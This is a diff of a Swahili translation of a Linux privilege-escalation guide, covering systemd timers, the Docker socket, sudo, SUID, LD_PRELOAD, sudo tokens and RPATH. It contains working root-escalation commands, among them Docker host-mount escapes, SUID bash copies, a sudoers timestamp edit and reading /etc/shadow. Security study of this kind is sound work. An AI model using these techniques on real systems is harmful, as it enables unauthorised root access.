ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Kisha, tengeneza **executable** yenye **jina sawa na binary ya njia relative** ndani ya folda ya systemd PATH ambayo unaweza kuandika, na wakati huduma inapoombwa kutekeleza kitendo kilichohatarishwa (**Anza**, **Simamisha**, **Reload**), **backdoor yako itatekelezwa** (watumiaji wasio na haki mara nyingi hawawezi kuanzisha/kusimamisha huduma lakini angalia kama unaweza kutumia `sudo -l`).
|
||||
Kisha, tengeneza **executable** yenye **jina sawa na njia ya binary** ndani ya folda ya systemd PATH ambayo unaweza kuandika, na wakati huduma inapoombwa kutekeleza kitendo kilichokuwa na udhaifu (**Anza**, **Simamisha**, **Reload**), **backdoor yako itatekelezwa** (watumiaji wasio na haki mara nyingi hawawezi kuanzisha/kusimamisha huduma lakini angalia kama unaweza kutumia `sudo -l`).
|
||||
|
||||
**Jifunze zaidi kuhusu huduma kwa kutumia `man systemd.service`.**
|
||||
|
||||
@ -407,7 +407,7 @@ Kisha, tengeneza **executable** yenye **jina sawa na binary ya njia relative** n
|
||||
|
||||
**Timers** ni faili za kitengo cha systemd ambazo jina lake linamalizika kwa `**.timer**` ambazo zinadhibiti faili za `**.service**` au matukio. **Timers** zinaweza kutumika kama mbadala wa cron kwani zina msaada wa ndani kwa matukio ya wakati wa kalenda na matukio ya wakati wa monotonic na zinaweza kuendeshwa kwa njia isiyo ya sambamba.
|
||||
|
||||
Unaweza kuhesabu timers zote kwa:
|
||||
Unaweza kuorodhesha timers zote kwa:
|
||||
```bash
|
||||
systemctl list-timers --all
|
||||
```
|
||||
@ -419,12 +419,12 @@ Unit=backdoor.service
|
||||
```
|
||||
Katika hati unaweza kusoma ni nini Unit:
|
||||
|
||||
> Kitengo cha kuamsha wakati kipima muda hiki kinapokamilika. Hoja ni jina la kitengo, ambacho kiambishi chake si ".timer". Ikiwa hakijasemwa, thamani hii inarudi kwa huduma ambayo ina jina sawa na kitengo cha kipima muda, isipokuwa kwa kiambishi. (Tazama hapo juu.) Inapendekezwa kwamba jina la kitengo kinachowashwa na jina la kitengo cha kipima muda liwe sawa, isipokuwa kwa kiambishi.
|
||||
> Kitengo cha kuamsha wakati kipima muda hiki kinapokamilika. Hoja ni jina la kitengo, ambacho kiambishi chake si ".timer". Ikiwa hakijasemwa, thamani hii inarudi kwa huduma ambayo ina jina sawa na kitengo cha kipima muda, isipokuwa kwa kiambishi. (Tazama hapo juu.) Inapendekezwa kwamba jina la kitengo kinachowashwa na jina la kitengo cha kipima muda viitwe kwa njia sawa, isipokuwa kwa kiambishi.
|
||||
|
||||
Kwa hivyo, ili kutumia ruhusa hii unahitaji:
|
||||
Hivyo, ili kutumia ruhusa hii unahitaji:
|
||||
|
||||
- Kupata kitengo fulani cha systemd (kama `.service`) ambacho kina **tekeleza binary inayoweza kuandikwa**
|
||||
- Kupata kitengo fulani cha systemd ambacho kina **tekeleza njia ya uhusiano** na una **ruhusa za kuandika** juu ya **PATH ya systemd** (ili kujifanya kuwa hiyo executable)
|
||||
- Kupata kitengo fulani cha systemd (kama `.service`) ambacho kina **kikimbia binary inayoweza kuandikwa**
|
||||
- Kupata kitengo fulani cha systemd ambacho kina **kikimbia njia ya uhusiano** na una **ruhusa za kuandika** juu ya **systemd PATH** (ili kujifanya kuwa hiyo executable)
|
||||
|
||||
**Jifunze zaidi kuhusu vipima muda na `man systemd.timer`.**
|
||||
|
||||
@ -446,7 +446,7 @@ Sockets can be configured using `.socket` files.
|
||||
**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hizi ni chaguzi tofauti lakini muhtasari unatumiwa ku **onyesha wapi itasikiliza** kwenye socket (njia ya faili la socket la AF_UNIX, IPv4/6 na/au nambari ya bandari ya kusikiliza, nk.)
|
||||
- `Accept`: Inachukua hoja ya boolean. Ikiwa **kweli**, **kituo cha huduma kinazaliwa kwa kila muunganisho unaokuja** na socket ya muunganisho pekee inapitishwa kwake. Ikiwa **uongo**, sockets zote zinazolisikiliza zenyewe zinapitishwa kwa **kitengo cha huduma kilichozinduliwa**, na kitengo kimoja cha huduma kinazaliwa kwa muunganisho wote. Thamani hii inapuuziliwa mbali kwa sockets za datagram na FIFOs ambapo kitengo kimoja cha huduma kinashughulikia bila masharti trafiki yote inayokuja. **Inarudiwa kuwa uongo**. Kwa sababu za utendaji, inapendekezwa kuandika daemons mpya tu kwa njia inayofaa kwa `Accept=no`.
|
||||
- `Accept`: Inachukua hoja ya boolean. Ikiwa **kweli**, **kituo cha huduma kinazalishwa kwa kila muunganisho unaokuja** na socket ya muunganisho pekee inapitishwa kwake. Ikiwa **uongo**, sockets zote zinazolisikiliza zenyewe zinapitishwa kwa **kitengo cha huduma kilichozinduliwa**, na kitengo kimoja cha huduma kinazalishwa kwa muunganisho wote. Thamani hii inapuuziliwa mbali kwa sockets za datagram na FIFOs ambapo kitengo kimoja cha huduma kinashughulikia bila masharti trafiki yote inayokuja. **Inarudiwa kuwa uongo**. Kwa sababu za utendaji, inapendekezwa kuandika daemons mpya tu kwa njia inayofaa kwa `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Inachukua mistari moja au zaidi ya amri, ambazo zina **tekelezwa kabla** au **baada** ya **sockets**/FIFOs zinazolisikiliza ku **undwa** na kuunganishwa, mtawalia. Neno la kwanza la mstari wa amri lazima liwe jina la faili la moja kwa moja, kisha kufuatwa na hoja za mchakato.
|
||||
- `ExecStopPre`, `ExecStopPost`: Amri za ziada ambazo zina **tekelezwa kabla** au **baada** ya **sockets**/FIFOs zinazolisikiliza ku **fungwa** na kuondolewa, mtawalia.
|
||||
- `Service`: Inabainisha jina la **kitengo cha huduma** **kuanzisha** kwenye **trafiki inayokuja**. Mpangilio huu unaruhusiwa tu kwa sockets zenye Accept=no. Inarudi kwa huduma ambayo ina jina sawa na socket (ikiwa na kiambishi kilichobadilishwa). Katika hali nyingi, haitakuwa lazima kutumia chaguo hili.
|
||||
@ -489,11 +489,11 @@ Ikiwa socket **inas respond na HTTP** ombi, basi unaweza **kuwasiliana** nayo na
|
||||
|
||||
### Socket ya Docker Inayoweza Kuandikwa
|
||||
|
||||
Socket ya Docker, mara nyingi hupatikana kwenye `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa kawaida, inaweza kuandikwa na mtumiaji `root` na wanachama wa kundi la `docker`. Kuwa na ufikiaji wa kuandika kwenye socket hii kunaweza kusababisha kupanda kwa mamlaka. Hapa kuna muhtasari wa jinsi hii inaweza kufanywa na mbinu mbadala ikiwa Docker CLI haipatikani.
|
||||
Socket ya Docker, mara nyingi hupatikana kwenye `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa kawaida, inaweza kuandikwa na mtumiaji `root` na wanachama wa kundi la `docker`. Kuwa na ufikiaji wa kuandika kwenye socket hii kunaweza kusababisha kupanda vyeo. Hapa kuna muhtasari wa jinsi hii inaweza kufanywa na mbinu mbadala ikiwa Docker CLI haipatikani.
|
||||
|
||||
#### **Kupanda Mamlaka kwa kutumia Docker CLI**
|
||||
#### **Kupanda Vyeo kwa Kutumia Docker CLI**
|
||||
|
||||
Ikiwa una ufikiaji wa kuandika kwenye socket ya Docker, unaweza kupanda mamlaka kwa kutumia amri zifuatazo:
|
||||
Ikiwa una ufikiaji wa kuandika kwenye socket ya Docker, unaweza kupanda vyeo kwa kutumia amri zifuatazo:
|
||||
```bash
|
||||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
@ -522,7 +522,7 @@ Anza kontena lililoundwa hivi karibuni:
|
||||
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
|
||||
```
|
||||
|
||||
3. **Unganisha kwenye Kontena:** Tumia `socat` kuanzisha muunganisho na kontena, ukiruhusu utekelezaji wa amri ndani yake.
|
||||
3. **Unganisha na Kontena:** Tumia `socat` kuanzisha muunganisho na kontena, ukiruhusu utekelezaji wa amri ndani yake.
|
||||
|
||||
```bash
|
||||
socat - UNIX-CONNECT:/var/run/docker.sock
|
||||
@ -536,9 +536,9 @@ Baada ya kuanzisha muunganisho wa `socat`, unaweza kutekeleza amri moja kwa moja
|
||||
|
||||
### Wengine
|
||||
|
||||
Kumbuka kwamba ikiwa una ruhusa za kuandika juu ya socket ya docker kwa sababu uko **ndani ya kundi `docker`** una [**njia zaidi za kupandisha mamlaka**](interesting-groups-linux-pe/#docker-group). Ikiwa [**docker API inasikiliza kwenye bandari** unaweza pia kuwa na uwezo wa kuathiri hiyo](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
Kumbuka kwamba ikiwa una ruhusa za kuandika juu ya socket ya docker kwa sababu uko **ndani ya kundi `docker`** una [**njia zaidi za kupandisha mamlaka**](interesting-groups-linux-pe/#docker-group). Ikiwa [**docker API inasikiliza kwenye bandari** unaweza pia kuwa na uwezo wa kuikabili](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Angalia **njia zaidi za kutoka kwenye docker au kuitumia vibaya ili kupandisha mamlaka** katika:
|
||||
Angalia **njia zaidi za kutoka kwenye docker au kuitumia vibaya kupandisha mamlaka** katika:
|
||||
|
||||
{{#ref}}
|
||||
docker-security/
|
||||
@ -546,7 +546,7 @@ docker-security/
|
||||
|
||||
## Kupandisha Mamlaka ya Containerd (ctr)
|
||||
|
||||
Ikiwa unapata kwamba unaweza kutumia amri **`ctr`** soma ukurasa ufuatao kwani **unaweza kuwa na uwezo wa kuitumia vibaya ili kupandisha mamlaka**:
|
||||
Ikiwa unapata kwamba unaweza kutumia amri **`ctr`** soma ukurasa ufuatao kwani **unaweza kuwa na uwezo wa kuitumia vibaya kupandisha mamlaka**:
|
||||
|
||||
{{#ref}}
|
||||
containerd-ctr-privilege-escalation.md
|
||||
@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
|
||||
|
||||
## **RunC** kupandisha mamlaka
|
||||
|
||||
Ikiwa unapata kwamba unaweza kutumia amri **`runc`** soma ukurasa ufuatao kwani **unaweza kuwa na uwezo wa kuitumia vibaya ili kupandisha mamlaka**:
|
||||
Ikiwa unapata kwamba unaweza kutumia amri **`runc`** soma ukurasa ufuatao kwani **unaweza kuwa na uwezo wa kuitumia vibaya kupandisha mamlaka**:
|
||||
|
||||
{{#ref}}
|
||||
runc-privilege-escalation.md
|
||||
@ -564,9 +564,9 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus ni mfumo wa **Mawasiliano ya Kati ya Mchakato (IPC)** ambao unaruhusu programu kuingiliana kwa ufanisi na kushiriki data. Imeundwa kwa kuzingatia mfumo wa kisasa wa Linux, inatoa mfumo thabiti wa aina mbalimbali za mawasiliano ya programu.
|
||||
|
||||
Mfumo huu ni wa kubadilika, ukisaidia IPC ya msingi inayoboresha ubadilishanaji wa data kati ya michakato, ikikumbusha **socket za eneo la UNIX zilizoboreshwa**. Aidha, inasaidia kutangaza matukio au ishara, ikikuza uunganisho usio na mshono kati ya vipengele vya mfumo. Kwa mfano, ishara kutoka kwa daemon ya Bluetooth kuhusu simu inayokuja inaweza kumfanya mpiga muziki akate sauti, ikiboresha uzoefu wa mtumiaji. Zaidi ya hayo, D-Bus inasaidia mfumo wa vitu vya mbali, ikirahisisha maombi ya huduma na wito wa mbinu kati ya programu, ikipunguza michakato ambayo hapo awali ilikuwa ngumu.
|
||||
Mfumo huu ni wa kubadilika, ukisaidia IPC ya msingi inayoboresha ubadilishanaji wa data kati ya michakato, ikikumbusha **sockets za UNIX zilizoboreshwa**. Aidha, inasaidia kutangaza matukio au ishara, ikikuza uunganisho usio na mshono kati ya vipengele vya mfumo. Kwa mfano, ishara kutoka kwa daemon ya Bluetooth kuhusu simu inayokuja inaweza kumfanya mpiga muziki akate sauti, ikiboresha uzoefu wa mtumiaji. Zaidi ya hayo, D-Bus inasaidia mfumo wa vitu vya mbali, ikirahisisha maombi ya huduma na wito wa mbinu kati ya programu, ikipunguza michakato ambayo hapo awali ilikuwa ngumu.
|
||||
|
||||
D-Bus inafanya kazi kwa **mfumo wa ruhusa/kuzuia**, ikisimamia ruhusa za ujumbe (wito wa mbinu, utoaji wa ishara, nk.) kulingana na athari ya jumla ya sheria za sera zinazolingana. Sera hizi zinaelezea mwingiliano na basi, na inaweza kuruhusu kupandisha mamlaka kupitia matumizi mabaya ya ruhusa hizi.
|
||||
D-Bus inafanya kazi kwa **mfumo wa ruhusa/kuzuia**, ikisimamia ruhusa za ujumbe (wito wa mbinu, utoaji wa ishara, n.k.) kulingana na athari ya jumla ya sheria za sera zinazolingana. Sera hizi zinaelezea mwingiliano na basi, na inaweza kuruhusu kupandisha mamlaka kupitia matumizi mabaya ya ruhusa hizi.
|
||||
|
||||
Mfano wa sera kama hiyo katika `/etc/dbus-1/system.d/wpa_supplicant.conf` unapatikana, ukielezea ruhusa za mtumiaji mzazi kumiliki, kutuma, na kupokea ujumbe kutoka `fi.w1.wpa_supplicant1`.
|
||||
|
||||
@ -627,9 +627,9 @@ timeout 1 tcpdump
|
||||
```
|
||||
## Watumiaji
|
||||
|
||||
### Uainishaji wa Kijenerali
|
||||
### Uainishaji wa Kawaida
|
||||
|
||||
Angalia **nani** ulivyo, ni **mamlaka** gani ulizonazo, ni **watumiaji** gani wako katika mifumo, ni zipi zinaweza **kuingia** na zipi zina **mamlaka ya mzizi:**
|
||||
Angalia **nani** ulivyo, ni **haki** gani ulizonazo, ni **watumiaji** gani wako katika mifumo, ni zipi zinaweza **kuingia** na zipi zina **haki za mzizi:**
|
||||
```bash
|
||||
#Info about me
|
||||
id || (whoami && groups) 2>/dev/null
|
||||
@ -653,8 +653,8 @@ gpg --list-keys 2>/dev/null
|
||||
```
|
||||
### Big UID
|
||||
|
||||
Baadhi ya toleo za Linux zilipata hitilafu inayowaruhusu watumiaji wenye **UID > INT_MAX** kupandisha mamlaka. Maelezo zaidi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) na [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Itekeleze** kwa kutumia: **`systemd-run -t /bin/bash`**
|
||||
Baadhi ya toleo za Linux zilikumbwa na hitilafu inayowaruhusu watumiaji wenye **UID > INT_MAX** kupandisha mamlaka. Maelezo zaidi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) na [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Tumia** kutumia: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
|
||||
@ -666,7 +666,7 @@ interesting-groups-linux-pe/
|
||||
|
||||
### Clipboard
|
||||
|
||||
Angalia kama kuna kitu chochote cha kuvutia kilichopo ndani ya clipboard (ikiwa inawezekana)
|
||||
Angalia kama kuna kitu chochote cha kuvutia kilichoko ndani ya clipboard (ikiwa inawezekana)
|
||||
```bash
|
||||
if [ `which xclip 2>/dev/null` ]; then
|
||||
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
|
||||
@ -694,11 +694,11 @@ Ikiwa hujali kufanya kelele nyingi na `su` na `timeout` binaries zipo kwenye kom
|
||||
|
||||
### $PATH
|
||||
|
||||
Ikiwa unapata kwamba unaweza **kuandika ndani ya folda fulani ya $PATH** unaweza kuwa na uwezo wa kupandisha mamlaka kwa **kuunda mlango wa nyuma ndani ya folda inayoweza kuandikwa** kwa jina la amri fulani ambayo itatekelezwa na mtumiaji tofauti (root kwa wazo) na ambayo **haitapakiwa kutoka folda ambayo iko kabla** ya folda yako inayoweza kuandikwa katika $PATH.
|
||||
Ikiwa unapata kwamba unaweza **kuandika ndani ya folda fulani ya $PATH** unaweza kuwa na uwezo wa kupandisha mamlaka kwa **kuunda mlango wa nyuma ndani ya folda inayoweza kuandikwa** kwa jina la amri fulani ambayo itatekelezwa na mtumiaji tofauti (root kwa kawaida) na ambayo **haitapakiwa kutoka folda ambayo iko kabla** ya folda yako inayoweza kuandikwa katika $PATH.
|
||||
|
||||
### SUDO na SUID
|
||||
|
||||
Unaweza kuruhusiwa kutekeleza amri fulani kwa kutumia sudo au zinaweza kuwa na kipande cha suid. Angalia kwa kutumia:
|
||||
Unaweza kuruhusiwa kutekeleza amri fulani kwa kutumia sudo au zinaweza kuwa na bit ya suid. Angalia kwa kutumia:
|
||||
```bash
|
||||
sudo -l #Check commands you can execute with sudo
|
||||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||||
@ -714,7 +714,7 @@ less>! <shell_comand>
|
||||
```
|
||||
### NOPASSWD
|
||||
|
||||
Mkonfigu wa Sudo unaweza kumruhusu mtumiaji kutekeleza amri fulani kwa mamlaka ya mtumiaji mwingine bila kujua nenosiri.
|
||||
Mkonfigu wa Sudo unaweza kumruhusu mtumiaji kutekeleza amri fulani kwa kutumia mamlaka ya mtumiaji mwingine bila kujua nenosiri.
|
||||
```
|
||||
$ sudo -l
|
||||
User demo may run the following commands on crashlab:
|
||||
@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
### Sudo execution bypassing paths
|
||||
|
||||
**Ruka** kusoma faili nyingine au tumia **symlinks**. Kwa mfano katika faili ya sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
**Ruka** kusoma faili nyingine au tumia **symlinks**. Kwa mfano katika faili la sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
```bash
|
||||
sudo less /var/logs/anything
|
||||
less>:e /etc/shadow #Jump to read other files using privileged less
|
||||
@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
|
||||
|
||||
### Amri ya Sudo/SUID binary bila njia ya amri
|
||||
|
||||
Ikiwa **ruhusa ya sudo** imetolewa kwa amri moja **bila kubainisha njia**: _hacker10 ALL= (root) less_ unaweza kuitumia kwa kubadilisha mabadiliko ya PATH
|
||||
Ikiwa **idhini ya sudo** imetolewa kwa amri moja **bila kubainisha njia**: _hacker10 ALL= (root) less_ unaweza kuitumia kwa kubadilisha mabadiliko ya PATH
|
||||
```bash
|
||||
export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
@ -771,7 +771,7 @@ Teknolojia hii inaweza pia kutumika ikiwa **suid** binary **inaendesha amri nyin
|
||||
|
||||
Ikiwa **suid** binary **inaendesha amri nyingine ikibainisha njia**, basi, unaweza kujaribu **kupeleka kazi** iliyopewa jina kama amri ambayo faili la suid linaita.
|
||||
|
||||
Kwa mfano, ikiwa binary ya suid inaita _**/usr/sbin/service apache2 start**_ unapaswa kujaribu kuunda kazi hiyo na kupeleka:
|
||||
Kwa mfano, ikiwa suid binary inaita _**/usr/sbin/service apache2 start**_ unapaswa kujaribu kuunda kazi hiyo na kupeleka:
|
||||
```bash
|
||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
export -f /usr/sbin/service
|
||||
@ -785,9 +785,9 @@ Kigezo cha mazingira **LD_PRELOAD** kinatumika kubaini maktaba moja au zaidi za
|
||||
Hata hivyo, ili kudumisha usalama wa mfumo na kuzuia kipengele hiki kutumika vibaya, hasa na **suid/sgid** executable, mfumo unatekeleza masharti fulani:
|
||||
|
||||
- Loader inapuuzilia mbali **LD_PRELOAD** kwa executable ambapo kitambulisho halisi cha mtumiaji (_ruid_) hakilingani na kitambulisho cha mtumiaji kinachofanya kazi (_euid_).
|
||||
- Kwa executable zenye suid/sgid, maktaba pekee katika njia za kawaida ambazo pia ni suid/sgid ndizo zinazopakiwa kabla.
|
||||
- Kwa executable zenye suid/sgid, maktaba tu katika njia za kawaida ambazo pia ni suid/sgid zinapakiwa kabla.
|
||||
|
||||
Kuongezeka kwa mamlaka kunaweza kutokea ikiwa una uwezo wa kutekeleza amri kwa kutumia `sudo` na matokeo ya `sudo -l` yanajumuisha taarifa **env_keep+=LD_PRELOAD**. Mipangilio hii inaruhusu kigezo cha mazingira **LD_PRELOAD** kudumu na kutambuliwa hata wakati amri zinapotekelezwa kwa `sudo`, ambayo inaweza kusababisha utekelezaji wa msimbo usio na mipaka kwa mamlaka yaliyoongezeka.
|
||||
Kuongezeka kwa mamlaka kunaweza kutokea ikiwa una uwezo wa kutekeleza amri kwa kutumia `sudo` na matokeo ya `sudo -l` yanajumuisha taarifa **env_keep+=LD_PRELOAD**. Mipangilio hii inaruhusu kigezo cha mazingira **LD_PRELOAD** kudumu na kutambuliwa hata wakati amri zinapotekelezwa kwa kutumia `sudo`, ambayo inaweza kusababisha utekelezaji wa msimbo usio na mipaka kwa mamlaka yaliyoongezeka.
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
@ -840,7 +840,7 @@ Wakati wa kukutana na binary yenye ruhusa za **SUID** ambazo zinaonekana zisizo
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
Kwa mfano, kukutana na kosa kama _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Hakuna faili au saraka kama hiyo)"_ kunapendekeza uwezekano wa unyakuzi.
|
||||
Kwa mfano, kukutana na kosa kama _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Hakuna faili au directory kama hiyo)"_ kunapendekeza uwezekano wa unyakuzi.
|
||||
|
||||
Ili kutumia hili, mtu angeendelea kwa kuunda faili ya C, sema _"/path/to/.config/libcalc.c"_, yenye msimbo ufuatao:
|
||||
```c
|
||||
@ -901,17 +901,21 @@ Mradi huu unakusanya kazi halali za binaries za Unix ambazo zinaweza kutumiwa vi
|
||||
> strace -o /dev/null /bin/sh\
|
||||
> sudo awk 'BEGIN {system("/bin/sh")}'
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfoargs.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfoargs.github.io/
|
||||
{{#endref}}
|
||||
|
||||
### FallOfSudo
|
||||
|
||||
Ikiwa unaweza kufikia `sudo -l` unaweza kutumia chombo [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) kuangalia ikiwa kinapata jinsi ya kutumia sheria yoyote ya sudo.
|
||||
|
||||
### Kuendelea Kutumia Tokens za Sudo
|
||||
### Kuendelea Kutumia Sudo Tokens
|
||||
|
||||
Katika kesi ambapo una **ufikiaji wa sudo** lakini si nenosiri, unaweza kupandisha haki kwa **kusubiri utekelezaji wa amri ya sudo na kisha kuingilia kati token ya kikao**.
|
||||
Katika kesi ambapo una **sudo access** lakini si nenosiri, unaweza kupandisha haki kwa **kusubiri utekelezaji wa amri ya sudo kisha kuingilia kati token ya kikao**.
|
||||
|
||||
Mahitaji ya kupandisha haki:
|
||||
|
||||
@ -922,9 +926,9 @@ Mahitaji ya kupandisha haki:
|
||||
|
||||
(Unaweza kuwezesha kwa muda `ptrace_scope` kwa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` au kubadilisha kwa kudumu `/etc/sysctl.d/10-ptrace.conf` na kuweka `kernel.yama.ptrace_scope = 0`)
|
||||
|
||||
Ikiwa mahitaji haya yote yanakidhi, **unaweza kupandisha haki kwa kutumia:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
Ikiwa mahitaji haya yote yamekamilika, **unaweza kupandisha haki kwa kutumia:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
|
||||
- **kuvunjwa kwa kwanza** (`exploit.sh`) kutaunda binary `activate_sudo_token` katika _/tmp_. Unaweza kuitumia **kuamsha token ya sudo katika kikao chako** (hutaweza kupata shell ya root moja kwa moja, fanya `sudo su`):
|
||||
- **kuvunjwa kwa kwanza** (`exploit.sh`) kutaunda binary `activate_sudo_token` katika _/tmp_. Unaweza kuitumia **kuamsha token ya sudo katika kikao chako** (hutapata shell ya root moja kwa moja, fanya `sudo su`):
|
||||
```bash
|
||||
bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
@ -935,7 +939,7 @@ sudo su
|
||||
bash exploit_v2.sh
|
||||
/tmp/sh -p
|
||||
```
|
||||
- The **third exploit** (`exploit_v3.sh`) itaunda **faili la sudoers** ambalo linafanya **tokens za sudo kuwa za milele na kuruhusu watumiaji wote kutumia sudo**
|
||||
- The **third exploit** (`exploit_v3.sh`) itaunda **faili la sudoers** ambalo linafanya **sudotokens kuwa za milele na kuruhusu watumiaji wote kutumia sudo**
|
||||
```bash
|
||||
bash exploit_v3.sh
|
||||
sudo su
|
||||
@ -943,7 +947,7 @@ sudo su
|
||||
### /var/run/sudo/ts/\<Username>
|
||||
|
||||
Ikiwa una **idhini za kuandika** katika folda au kwenye faili zozote zilizoundwa ndani ya folda hiyo unaweza kutumia binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ili **kuunda token ya sudo kwa mtumiaji na PID**.\
|
||||
Kwa mfano, ikiwa unaweza kufuta faili _/var/run/sudo/ts/sampleuser_ na una shell kama mtumiaji huyo mwenye PID 1234, unaweza **kupata mamlaka ya sudo** bila kuhitaji kujua nenosiri kwa kufanya:
|
||||
Kwa mfano, ikiwa unaweza kufuta faili _/var/run/sudo/ts/sampleuser_ na una shell kama mtumiaji huyo mwenye PID 1234, unaweza **kupata ruhusa za sudo** bila kuhitaji kujua nenosiri kwa kufanya:
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
```
|
||||
@ -969,13 +973,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
|
||||
```
|
||||
### DOAS
|
||||
|
||||
Kuna mbadala kadhaa wa `sudo` binary kama `doas` kwa OpenBSD, kumbuka kuangalia usanidi wake katika `/etc/doas.conf`
|
||||
Kuna mbadala kadhaa wa `sudo` binary kama `doas` kwa OpenBSD, kumbuka kuangalia usanidi wake kwenye `/etc/doas.conf`
|
||||
```
|
||||
permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
Ikiwa unajua kwamba **mtumiaji kwa kawaida anajiunganisha na mashine na anatumia `sudo`** kuongeza mamlaka na umepata shell ndani ya muktadha huo wa mtumiaji, unaweza **kuunda executable mpya ya sudo** ambayo itatekeleza msimbo wako kama root na kisha amri ya mtumiaji. Kisha, **badilisha $PATH** wa muktadha wa mtumiaji (kwa mfano kuongeza njia mpya katika .bash_profile) ili wakati mtumiaji anatekeleza sudo, executable yako ya sudo itatekelezwa.
|
||||
Ikiwa unajua kwamba **mtumiaji kwa kawaida anajiunganisha na mashine na anatumia `sudo`** kuongeza mamlaka na umepata shell ndani ya muktadha wa mtumiaji huyo, unaweza **kuunda executable mpya ya sudo** ambayo itatekeleza msimbo wako kama root na kisha amri ya mtumiaji. Kisha, **badilisha $PATH** wa muktadha wa mtumiaji (kwa mfano kuongeza njia mpya katika .bash_profile) ili wakati mtumiaji anatekeleza sudo, executable yako ya sudo itatekelezwa.
|
||||
|
||||
Kumbuka kwamba ikiwa mtumiaji anatumia shell tofauti (sio bash) utahitaji kubadilisha faili nyingine kuongeza njia mpya. Kwa mfano[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) inabadilisha `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Unaweza kupata mfano mwingine katika [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
|
||||
|
||||
@ -1020,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
|
||||
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
|
||||
/lib/ld-linux.so.2 (0x005bb000)
|
||||
```
|
||||
Kwa kunakili lib kwenye `/var/tmp/flag15/`, itatumika na programu mahali hapa kama ilivyoainishwa katika mabadiliko ya `RPATH`.
|
||||
Kwa kunakili lib ndani ya `/var/tmp/flag15/`, itatumika na programu mahali hapa kama ilivyoainishwa katika mabadiliko ya `RPATH`.
|
||||
```
|
||||
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
|
||||
|
||||
@ -1054,11 +1058,11 @@ linux-capabilities.md
|
||||
## Ruhusa za Katalogi
|
||||
|
||||
Katika katalogi, **bit ya "tekeleza"** inaashiria kwamba mtumiaji aliyeathiriwa anaweza "**cd**" ndani ya folda.\
|
||||
Bit ya **"soma"** inaashiria mtumiaji anaweza **orodhesha** **faili**, na bit ya **"andika"** inaashiria mtumiaji anaweza **kuondoa** na **kuunda** **faili** mpya.
|
||||
Bit ya **"soma"** inaashiria kwamba mtumiaji anaweza **orodhesha** **faili**, na bit ya **"andika"** inaashiria kwamba mtumiaji anaweza **futa** na **unda** **faili** mpya.
|
||||
|
||||
## ACLs
|
||||
|
||||
